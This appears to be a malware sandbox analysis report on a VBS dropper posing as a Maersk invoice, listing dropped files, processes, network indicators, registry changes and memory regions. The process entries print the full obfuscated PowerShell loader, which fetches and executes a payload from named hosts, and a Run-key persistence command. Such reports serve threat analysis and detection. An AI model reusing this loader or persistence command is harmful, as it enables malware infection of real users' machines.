Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
Maersk_BL_Invoice_Packinglist.vbs
|
ASCII text, with very long lines (2004), with CRLF line terminators
|
initial sample
|
 |
|
|
C:\Users\user\AppData\Roaming\kpburtts.dat
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
|
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
modified
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h45yca3z.n0i.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_it3jblhk.1tt.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgmxergi.2iy.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ywes52nc.utm.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Roaming\Scabrosely.Tor
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Maersk_BL_Invoice_Packinglist.vbs"
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Byggeforetagender Jenda Nonmetallurgically Skalatrinnets
Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48
Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes
Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes
Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets
Putzed Pardonnerende Rangsforskel Samariterkursernes';If (${host}.CurrentCulture) {$Bofllen++;}Function toddyernes($Experientialistic){$Larisas=$Experientialistic.Length-$Bofllen;$Stregninger='SUBsTRI';$Stregninger+='ng';For(
$Trepanationen=1;$Trepanationen -lt $Larisas;$Trepanationen+=2){$Byggeforetagender+=$Experientialistic.$Stregninger.Invoke(
$Trepanationen, $Bofllen);}$Byggeforetagender;}function Unopportunely($unexchangeableness){ & ($Catguts) ($unexchangeableness);}$Doktorafhandlinger=toddyernes
'HMTo z iMlVl,aM/ 5 .I0C ,( WHi n dSo w sP ,NWTS V1P0 . 0K;. ,W iHn,6S4P;. Bx 6 4.; CrDvW:,1F2T1R.K0G) GGSe cMkPoB/,2B0p1.0
0B1U0 1L F iRrBe,fSoHxS/M1A2D1A.,0s ';$Grampa=toddyernes ' UPsCe rA- AUgSe,nSt, ';$Siddembler=toddyernes 'Ahst tDp.s : /P/
cSo n,tFeEm e.g aP.Vc o,m .Dd oE/NO.umtHgKa,s s e,d ..eTmTz >,h t,tFpR: /,/ 1 0 3 .R1B9P5,.I2.3M7 .P4,3D/,OUuNtSgDa.sss,eSd
. eSm z. ';$Hamskiftets=toddyernes ' >. ';$Catguts=toddyernes ' iDe x, ';$arbejdsgangene='Filnavnene';$Characterisation =
toddyernes 'AeBc.hIoN %.aSp pRd,aUtUaB% \PSTcAaGb.r o s.eHl,yD. Tho.rZ A& & .eVcCh,oH BtO ';Unopportunely (toddyernes '.$Cg
lAoEb a.l.:OFFl a gSkTn,a pRp.e rps,= (.c,m d H/ScS I$,C h a,rMaScktBeIr,iGs,a t iFoUn,)U ');Unopportunely (toddyernes 'b$sg
l.oAbSaAl :AS.k a lBa tBr ipnPn,e.tTsT=S$NSCiRd dSe mAbPlHe r.. sSp,lCiYtG(U$ H.a mTsAk iDf t eBtIsK)S ');Unopportunely (toddyernes
'S[NN eCt.. S.e,r v,iUc e P o.i,n tBMdaCn a gKe rl].:S:SSUe cAuRrtiNt ySPSrSoRtKoFc o l ,=, U[CNue t.. SSe cSuPrTiPt.y.Pur.oRtPoUc,o
l TSyAp eA]B:G: TblSs 1I2. ');$Siddembler=$Skalatrinnets[0];$Trepanationenllaudatory= (toddyernes 'C$,g lAo b a l : SLoPlNdbe
r iFe tRsS= N.eOwC- ONbUj eBc t SMyAs tSePmF.BNVeAtK. W ePbYCMl i eDn t');$Trepanationenllaudatory+=$Flagknappers[1];Unopportunely
($Trepanationenllaudatory);Unopportunely (toddyernes ',$,S oulPdAePrTike t,s..RH e a dCeSrTsA[B$.G.rAa mSp a,]f=S$,D.o k tPo
rHa,f hGa nSd l i n.gZeEr ');$Narcotisation205=toddyernes ' $SSFo lUdBe.rUiSeOt,s ..D o,w.nmlCokadd FPiFlKe.( $LSPiPdNd eRm,b
lOeFr,,,$.PCa r,dOoNnGn e.rSe nVd eO)S ';$Pardonnerende=$Flagknappers[0];Unopportunely (toddyernes 'S$MgIl o bSa lg:AF oTrAh.j
uIlCs.=I(HT eJsWt - Pla tDhU $SPBaUr dHo,nBnPeSr e.n,d.ev) ');while (!$Forhjuls) {Unopportunely (toddyernes '.$mg,lJoFb,a,lM:FS,iLmEclo.nS=
$.t r uTe, ') ;Unopportunely $Narcotisation205;Unopportunely (toddyernes 'HS t aMrMtM-,SAl e,e p. L4V ');Unopportunely (toddyernes
' $ gNlNo,b a l :CF.oOrOh,jSuHl,sE=P(,TNe.sUtN-VP.aItchP $APLaSrVdAoTnLnPe rUeUn d eP)D ') ;Unopportunely (toddyernes 'S$PgSlHo.bSa.l
:,N.o nNm e,t,aIl lAuKr,g i.c,a,l.l yS= $,gBlKo,b aIl.:RJ,eOnMdCaP+ +F%G$PS k,a l a t r i,n nTeDtBsL.Bc o u nAtS ') ;$Siddembler=$Skalatrinnets[$Nonmetallurgically];}$Morderskers=325186;$Horehuset=25649;Unopportunely
(toddyernes ' $Ug l o bBaLl :.TWeNtFr.i csa lEn e sDs. =T CGSedt -RCOo,n t,eOn tO k$MP a rLdSo nIn eFrOe n.d eS ');Unopportunely
(toddyernes 'T$sgUlSolbIa l,:CF,uDsSoEbDaTc the rQi aA V=, ,[ SMySsPt eUm .JC oBnTvBeIrstK]O: : F rEo m BIa s eB6,4ES.tSr
iSn gD( $.TPe,tPrLi cHaDlHn,e s s ) ');Unopportunely (toddyernes 'f$HgRlSo b aKlT:ER.eLtPtre.rbs.tSe.dUe.t.sB N=. N[ SFyJsUtBe,mH.WTAeFx
t .UE,n cEoSd.iPnRg.] :G:PAOS,CGIBIS.,G.e,t S,t rAi nDg ( $LF.u sSo bKaacHt,eUrFi a )D ');Unopportunely (toddyernes ',$Gg
l.o bSa.lJ: MLaBk.u,l.efr e tc=,$ R e.t tpeEr s tDeNd eUtLsS.FsSu b s tRrBi n gW( $ MFoPr d e r s.k eArEs ,B$SHkoSrSe,hBuBs,e,t
)V ');Unopportunely $Makuleret;"
|
|
|
|
C:\Windows\System32\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scabrosely.Tor && echo t"
|
|
|
|
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Byggeforetagender Jenda Nonmetallurgically Skalatrinnets
Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48
Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes
Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes
Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets
Putzed Pardonnerende Rangsforskel Samariterkursernes';If (${host}.CurrentCulture) {$Bofllen++;}Function toddyernes($Experientialistic){$Larisas=$Experientialistic.Length-$Bofllen;$Stregninger='SUBsTRI';$Stregninger+='ng';For(
$Trepanationen=1;$Trepanationen -lt $Larisas;$Trepanationen+=2){$Byggeforetagender+=$Experientialistic.$Stregninger.Invoke(
$Trepanationen, $Bofllen);}$Byggeforetagender;}function Unopportunely($unexchangeableness){ & ($Catguts) ($unexchangeableness);}$Doktorafhandlinger=toddyernes
'HMTo z iMlVl,aM/ 5 .I0C ,( WHi n dSo w sP ,NWTS V1P0 . 0K;. ,W iHn,6S4P;. Bx 6 4.; CrDvW:,1F2T1R.K0G) GGSe cMkPoB/,2B0p1.0
0B1U0 1L F iRrBe,fSoHxS/M1A2D1A.,0s ';$Grampa=toddyernes ' UPsCe rA- AUgSe,nSt, ';$Siddembler=toddyernes 'Ahst tDp.s : /P/
cSo n,tFeEm e.g aP.Vc o,m .Dd oE/NO.umtHgKa,s s e,d ..eTmTz >,h t,tFpR: /,/ 1 0 3 .R1B9P5,.I2.3M7 .P4,3D/,OUuNtSgDa.sss,eSd
. eSm z. ';$Hamskiftets=toddyernes ' >. ';$Catguts=toddyernes ' iDe x, ';$arbejdsgangene='Filnavnene';$Characterisation =
toddyernes 'AeBc.hIoN %.aSp pRd,aUtUaB% \PSTcAaGb.r o s.eHl,yD. Tho.rZ A& & .eVcCh,oH BtO ';Unopportunely (toddyernes '.$Cg
lAoEb a.l.:OFFl a gSkTn,a pRp.e rps,= (.c,m d H/ScS I$,C h a,rMaScktBeIr,iGs,a t iFoUn,)U ');Unopportunely (toddyernes 'b$sg
l.oAbSaAl :AS.k a lBa tBr ipnPn,e.tTsT=S$NSCiRd dSe mAbPlHe r.. sSp,lCiYtG(U$ H.a mTsAk iDf t eBtIsK)S ');Unopportunely (toddyernes
'S[NN eCt.. S.e,r v,iUc e P o.i,n tBMdaCn a gKe rl].:S:SSUe cAuRrtiNt ySPSrSoRtKoFc o l ,=, U[CNue t.. SSe cSuPrTiPt.y.Pur.oRtPoUc,o
l TSyAp eA]B:G: TblSs 1I2. ');$Siddembler=$Skalatrinnets[0];$Trepanationenllaudatory= (toddyernes 'C$,g lAo b a l : SLoPlNdbe
r iFe tRsS= N.eOwC- ONbUj eBc t SMyAs tSePmF.BNVeAtK. W ePbYCMl i eDn t');$Trepanationenllaudatory+=$Flagknappers[1];Unopportunely
($Trepanationenllaudatory);Unopportunely (toddyernes ',$,S oulPdAePrTike t,s..RH e a dCeSrTsA[B$.G.rAa mSp a,]f=S$,D.o k tPo
rHa,f hGa nSd l i n.gZeEr ');$Narcotisation205=toddyernes ' $SSFo lUdBe.rUiSeOt,s ..D o,w.nmlCokadd FPiFlKe.( $LSPiPdNd eRm,b
lOeFr,,,$.PCa r,dOoNnGn e.rSe nVd eO)S ';$Pardonnerende=$Flagknappers[0];Unopportunely (toddyernes 'S$MgIl o bSa lg:AF oTrAh.j
uIlCs.=I(HT eJsWt - Pla tDhU $SPBaUr dHo,nBnPeSr e.n,d.ev) ');while (!$Forhjuls) {Unopportunely (toddyernes '.$mg,lJoFb,a,lM:FS,iLmEclo.nS=
$.t r uTe, ') ;Unopportunely $Narcotisation205;Unopportunely (toddyernes 'HS t aMrMtM-,SAl e,e p. L4V ');Unopportunely (toddyernes
' $ gNlNo,b a l :CF.oOrOh,jSuHl,sE=P(,TNe.sUtN-VP.aItchP $APLaSrVdAoTnLnPe rUeUn d eP)D ') ;Unopportunely (toddyernes 'S$PgSlHo.bSa.l
:,N.o nNm e,t,aIl lAuKr,g i.c,a,l.l yS= $,gBlKo,b aIl.:RJ,eOnMdCaP+ +F%G$PS k,a l a t r i,n nTeDtBsL.Bc o u nAtS ') ;$Siddembler=$Skalatrinnets[$Nonmetallurgically];}$Morderskers=325186;$Horehuset=25649;Unopportunely
(toddyernes ' $Ug l o bBaLl :.TWeNtFr.i csa lEn e sDs. =T CGSedt -RCOo,n t,eOn tO k$MP a rLdSo nIn eFrOe n.d eS ');Unopportunely
(toddyernes 'T$sgUlSolbIa l,:CF,uDsSoEbDaTc the rQi aA V=, ,[ SMySsPt eUm .JC oBnTvBeIrstK]O: : F rEo m BIa s eB6,4ES.tSr
iSn gD( $.TPe,tPrLi cHaDlHn,e s s ) ');Unopportunely (toddyernes 'f$HgRlSo b aKlT:ER.eLtPtre.rbs.tSe.dUe.t.sB N=. N[ SFyJsUtBe,mH.WTAeFx
t .UE,n cEoSd.iPnRg.] :G:PAOS,CGIBIS.,G.e,t S,t rAi nDg ( $LF.u sSo bKaacHt,eUrFi a )D ');Unopportunely (toddyernes ',$Gg
l.o bSa.lJ: MLaBk.u,l.efr e tc=,$ R e.t tpeEr s tDeNd eUtLsS.FsSu b s tRrBi n gW( $ MFoPr d e r s.k eArEs ,B$SHkoSrSe,hBuBs,e,t
)V ');Unopportunely $Makuleret;"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scabrosely.Tor && echo t"
|
|
|
|
C:\Program Files (x86)\Windows Mail\wab.exe
|
"C:\Program Files (x86)\windows mail\wab.exe"
|
|
|
|
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ
/d "%Salvings% -w 1 $Urbanities=(Get-ItemProperty -Path 'HKCU:\Pardo\').Krecar;%Salvings% ($Urbanities)"
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\SysWOW64\reg.exe
|
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Salvings% -w 1 $Urbanities=(Get-ItemProperty
-Path 'HKCU:\Pardo\').Krecar;%Salvings% ($Urbanities)"
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
janbours92harbu02.duckdns.org
|
|
||
|
https://contemega.com.do/Outgassed.
|
unknown
|
||
|
http://103.19
|
unknown
|
||
|
http://103.195.237.43/Outgassed.em
|
unknown
|
||
|
https://contemega.com.do/Ou
|
unknown
|
||
|
https://contemega.com.d
|
unknown
|
||
|
http://103.195.
|
unknown
|
||
|
https://contemega.com.do/O
|
unknown
|
||
|
https://contemega.c
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://contemega.com.do/Outgass
|
unknown
|
||
|
https://contemega.com.do
|
unknown
|
||
|
http://103.195.237.43/Outga
|
unknown
|
||
|
https://contemega.com.do/Outgasse
|
unknown
|
||
|
http://103.195.237.43/Outgassed.emz
|
unknown
|
||
|
https://contemega.com.do/Out
|
unknown
|
||
|
http://103.195.237.43/Outg
|
unknown
|
||
|
https://contemega.com.do/
|
unknown
|
||
|
http://103.195.237.4
|
unknown
|
||
|
http://103.195.237.43/QJqDH201.bin
|
103.195.237.43
|
||
|
https://contemega.com.do/Outgassed.em
|
unknown
|
||
|
http://103.195.237.43/Outgas
|
unknown
|
||
|
https://aka.ms/pscore6lB
|
unknown
|
||
|
https://contemega.com.do/Outgas
|
unknown
|
||
|
https://contemega.com.do/Outgassed.e
|
unknown
|
||
|
http://103.1
|
unknown
|
||
|
https://contemega.com.do/Outgassed.emz
|
192.185.112.252
|
||
|
http://103.195.237.43/QJqDH201.binEyessVescontemega.com.do/QJqDH201.bin
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
http://103.195
|
unknown
|
||
|
http://103.195.237.
|
unknown
|
||
|
https://contemega.com.
|
unknown
|
||
|
http://103.195.237.43
|
unknown
|
||
|
http://103.195.237.43/QJqDH201.binTq
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
https://contemega.co
|
unknown
|
||
|
https://contemega.P
|
unknown
|
||
|
http://103.195.237.43/Outgassed.emzX
|
unknown
|
||
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
https://contemega.com.do/Outga
|
unknown
|
||
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
|
http://103.195.237.43/Ou
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
https://go.micro
|
unknown
|
||
|
http://103.195.237.43/Outgasse
|
unknown
|
||
|
http://103.195.237.43/QJqDH201.binV
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
http://103.195.237
|
unknown
|
||
|
http://103.195.237.43/Out
|
unknown
|
||
|
https://contemega.com.do/Outg
|
unknown
|
||
|
http://103.195.237.43/Outgass
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
||
|
http://103.195.237.43/O
|
unknown
|
||
|
http://103.195.23
|
unknown
|
||
|
http://contemega.com.do
|
unknown
|
||
|
http://103.195.237.43/Outgassed.
|
unknown
|
||
|
http://103.195.237.43/;
|
unknown
|
||
|
http://103.195.2
|
unknown
|
||
|
http://103.195.237.43/
|
unknown
|
||
|
https://aka.ms/pscore68
|
unknown
|
||
|
https://contemega.com.do/Outgassed
|
unknown
|
||
|
https://contemega.com
|
unknown
|
||
|
http://103.195.237.43/Outgassed.e
|
unknown
|
||
|
http://103.195.237.43/Outgassed
|
unknown
|
There are 55 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
janbours92harbu02.duckdns.org
|
206.123.148.198
|
|
|
|
janbours92harbu03.duckdns.org
|
unknown
|
|
|
|
contemega.com.do
|
192.185.112.252
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
206.123.148.198
|
janbours92harbu02.duckdns.org
|
United States
|
|
|
|
103.195.237.43
|
unknown
|
Viet Nam
|
||
|
192.185.112.252
|
contemega.com.do
|
United States
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
|
HKEY_CURRENT_USER\Pardo
|
Krecar
|
||
|
HKEY_CURRENT_USER\Environment
|
Salvings
|
||
|
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
exepath
|
||
|
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
licence
|
||
|
HKEY_CURRENT_USER\SOFTWARE\jmoughoe-DMPW3B
|
time
|
||
|
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
|
Startup key
|
There are 10 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
5FB4000
|
heap
|
page read and write
|
|
|
|
5192000
|
remote allocation
|
page execute and read and write
|
|
|
|
A152000
|
direct allocation
|
page execute and read and write
|
|
|
|
1816856F000
|
heap
|
page read and write
|
||
|
17022EC3000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B942000
|
trusted library allocation
|
page read and write
|
||
|
1816A4F8000
|
heap
|
page read and write
|
||
|
1816A457000
|
heap
|
page read and write
|
||
|
1816A4F2000
|
heap
|
page read and write
|
||
|
1816856F000
|
heap
|
page read and write
|
||
|
2E00000
|
heap
|
page read and write
|
||
|
73AD000
|
stack
|
page read and write
|
||
|
1703B045000
|
heap
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
1816A4B2000
|
heap
|
page read and write
|
||
|
1816872E000
|
heap
|
page read and write
|
||
|
7E87000
|
stack
|
page read and write
|
||
|
34FE000
|
stack
|
page read and write
|
||
|
170228C0000
|
heap
|
page read and write
|
||
|
74FB000
|
stack
|
page read and write
|
||
|
181685C1000
|
heap
|
page read and write
|
||
|
597000
|
stack
|
page read and write
|
||
|
7FFD9B9F0000
|
trusted library allocation
|
page read and write
|
||
|
25ED000
|
stack
|
page read and write
|
||
|
7FFD9BA20000
|
trusted library allocation
|
page read and write
|
||
|
1816A4FF000
|
heap
|
page read and write
|
||
|
1816A33F000
|
heap
|
page read and write
|
||
|
17021010000
|
heap
|
page read and write
|
||
|
6B20000
|
direct allocation
|
page read and write
|
||
|
1816A659000
|
heap
|
page read and write
|
||
|
7FFD9B846000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FFD9B816000
|
trusted library allocation
|
page read and write
|
||
|
32E0000
|
heap
|
page read and write
|
||
|
21C0D000
|
stack
|
page read and write
|
||
|
1816A524000
|
heap
|
page read and write
|
||
|
3D92000
|
remote allocation
|
page execute and read and write
|
||
|
2EB0000
|
heap
|
page read and write
|
||
|
1816A4E7000
|
heap
|
page read and write
|
||
|
17020D30000
|
heap
|
page read and write
|
||
|
557B07E000
|
stack
|
page read and write
|
||
|
1702487C000
|
trusted library allocation
|
page read and write
|
||
|
1816872A000
|
heap
|
page read and write
|
||
|
293C000
|
heap
|
page read and write
|
||
|
ABE000
|
stack
|
page read and write
|
||
|
8510000
|
trusted library allocation
|
page execute and read and write
|
||
|
17024804000
|
trusted library allocation
|
page read and write
|
||
|
1816A4EC000
|
heap
|
page read and write
|
||
|
2175E000
|
stack
|
page read and write
|
||
|
21110000
|
direct allocation
|
page read and write
|
||
|
1816A4C8000
|
heap
|
page read and write
|
||
|
1816A350000
|
heap
|
page read and write
|
||
|
8490000
|
trusted library allocation
|
page read and write
|
||
|
170227C0000
|
trusted library allocation
|
page read and write
|
||
|
7FFD9B81C000
|
trusted library allocation
|
page execute and read and write
|
||
|
5631000
|
trusted library allocation
|
page read and write
|
||
|
181684FF000
|
heap
|
page read and write
|
||
|
5641000
|
trusted library allocation
|
page read and write
|
||
|
501C5FC000
|
stack
|
page read and write
|
||
|
170227F0000
|
trusted library allocation
|
page read and write
|
||
|
170242A9000
|
trusted library allocation
|
page read and write
|
||
|
17020EEC000
|
heap
|
page read and write
|
||
|
2B8E000
|
unkown
|
page read and write
|
||
|
7FFD9B950000
|
trusted library allocation
|
page execute and read and write
|
||
|
1816A5D1000
|
heap
|
page read and write
|
||
|
21B8C000
|
stack
|
page read and write
|
||
|
AB52000
|
direct allocation
|
page execute and read and write
|
||
|
170247CF000
|
trusted library allocation
|
page read and write
|
||
|
17021015000
|
heap
|
page read and write
|
||
|
1816A5FE000
|
heap
|
page read and write
|
||
|
7440000
|
trusted library allocation
|
page read and write
|
||
|
181685B2000
|
heap
|
page read and write
|
||
|
1703AEC7000
|
heap
|
page execute and read and write
|
||
|
21870000
|
direct allocation
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
2A50000
|
heap
|
page read and write
|
||
|
21E30000
|
heap
|
page read and write
|
||
|
7FFD9BA40000
|
trusted library allocation
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
17022A01000
|
trusted library allocation
|
page read and write
|
||
|
17023240000
|
trusted library allocation
|
page read and write
|
||
|
70D1000
|
heap
|
page read and write
|
||
|
70E2000
|
heap
|
page read and write
|
||
|
1816A49C000
|
heap
|
page read and write
|
||
|
1703B042000
|
heap
|
page read and write
|
||
|
CD0000
|
heap
|
page read and write
|
||
|
1703AD40000
|
heap
|
page read and write
|
||
|
2A60000
|
heap
|
page read and write
|
||
|
7FFD9B970000
|
trusted library allocation
|
page read and write
|
||
|
21CD0000
|
heap
|
page read and write
|
||
|
18168728000
|
heap
|
page read and write
|
||
|
84A0000
|
direct allocation
|
page execute and read and write
|
||
|
7FFD9B880000
|
trusted library allocation
|
page execute and read and write
|
||
|
1816A353000
|
heap
|
page read and write
|
||
|
1816A33A000
|
heap
|
page read and write
|
||
|
1816A581000
|
heap
|
page read and write
|
||
|
81E6000
|
heap
|
page read and write
|
||
|
7FFD9BA30000
|
trusted library allocation
|
page read and write
|
||
|
17020F5D000
|
heap
|
page read and write
|
||
|
17020FF0000
|
trusted library allocation
|
page read and write
|
||
|
18168583000
|
heap
|
page read and write
|
||
|
17020E6B000
|
heap
|
page read and write
|
||
|
170248FC000
|
trusted library allocation
|
page read and write
|
||
|
1816A483000
|
heap
|
page read and write
|
||
|
2DB0000
|
heap
|
page read and write
|
||
|
1816A359000
|
heap
|
page read and write
|
||
|
210B0000
|
direct allocation
|
page read and write
|
||
|
1816A47F000
|
heap
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
7240000
|
trusted library allocation
|
page read and write
|
||
|
6A6F000
|
stack
|
page read and write
|
||
|
2C8F000
|
unkown
|
page read and write
|
||
|
18168591000
|
heap
|
page read and write
|
||
|
1703AEC0000
|
heap
|
page execute and read and write
|
||
|
1816A331000
|
heap
|
page read and write
|
||
|
27A0000
|
heap
|
page read and write
|
||
|
1816A4F2000
|
heap
|
page read and write
|
||
|
170247EE000
|
trusted library allocation
|
page read and write
|
||
|
72A0000
|
trusted library allocation
|
page read and write
|
||
|
81E0000
|
heap
|
page read and write
|
||
|
181685B2000
|
heap
|
page read and write
|
||
|
B3E000
|
stack
|
page read and write
|
||
|
74A0000
|
trusted library allocation
|
page read and write
|
||
|
1816A51F000
|
heap
|
page read and write
|
||
|
952000
|
heap
|
page read and write
|
||
|
44A8000
|
trusted library allocation
|
page read and write
|
||
|
2FAD000
|
stack
|
page read and write
|
||
|
21860000
|
direct allocation
|
page read and write
|
||
|
27A5000
|
heap
|
page read and write
|
||
|
6180000
|
direct allocation
|
page read and write
|
||
|
6BB0000
|
direct allocation
|
page read and write
|
||
|
6150000
|
direct allocation
|
page read and write
|
||
|
81F6000
|
heap
|
page read and write
|
||
|
7FFD9B9A0000
|
trusted library allocation
|
page read and write
|
||
|
1816A4CD000
|
heap
|
page read and write
|
||
|
860000
|
heap
|
page read and write
|
||
|
1816A441000
|
heap
|
page read and write
|
||
|
17020EC3000
|
heap
|
page read and write
|
||
|
17020EA3000
|
heap
|
page read and write
|
||
|
170247CA000
|
trusted library allocation
|
page read and write
|
||
|
5F38000
|
heap
|
page read and write
|
||
|
1816A504000
|
heap
|
page read and write
|
||
|
71FFFFF000
|
stack
|
page read and write
|
||
|
170229F0000
|
heap
|
page execute and read and write
|
||
|
2A70000
|
heap
|
page read and write
|
||
|
F80000
|
heap
|
page readonly
|
||
|
F24000
|
trusted library allocation
|
page read and write
|
||
|
18168588000
|
heap
|
page read and write
|
||
|
7490000
|
trusted library allocation
|
page read and write
|
||
|
3290000
|
heap
|
page read and write
|
||
|
1816A4B0000
|
heap
|
page read and write
|
||
|
8D52000
|
direct allocation
|
page execute and read and write
|
||
|
85E000
|
stack
|
page read and write
|
||
|
1816A468000
|
heap
|
page read and write
|
||
|
7FFD9BA90000
|
trusted library allocation
|
page read and write
|
||
|
6190000
|
direct allocation
|
page read and write
|
||
|
17020EF1000
|
heap
|
page read and write
|
||
|
17023230000
|
trusted library allocation
|
page read and write
|
||
|
1816A376000
|
heap
|
page read and write
|
||
|
18168728000
|
heap
|
page read and write
|
||
|
7290000
|
trusted library allocation
|
page read and write
|
||
|
1816A4EB000
|
heap
|
page read and write
|
||
|
7FA80000
|
trusted library allocation
|
page execute and read and write
|
||
|
1816A440000
|
heap
|
page read and write
|
||
|
1816855D000
|
heap
|
page read and write
|
||
|
1816A348000
|
heap
|
page read and write
|
||
|
81CC000
|
heap
|
page read and write
|
||
|
1816A4F2000
|
heap
|
page read and write
|
||
|
28FD000
|
stack
|
page read and write
|
||
|
1816A4F2000
|
heap
|
page read and write
|
||
|
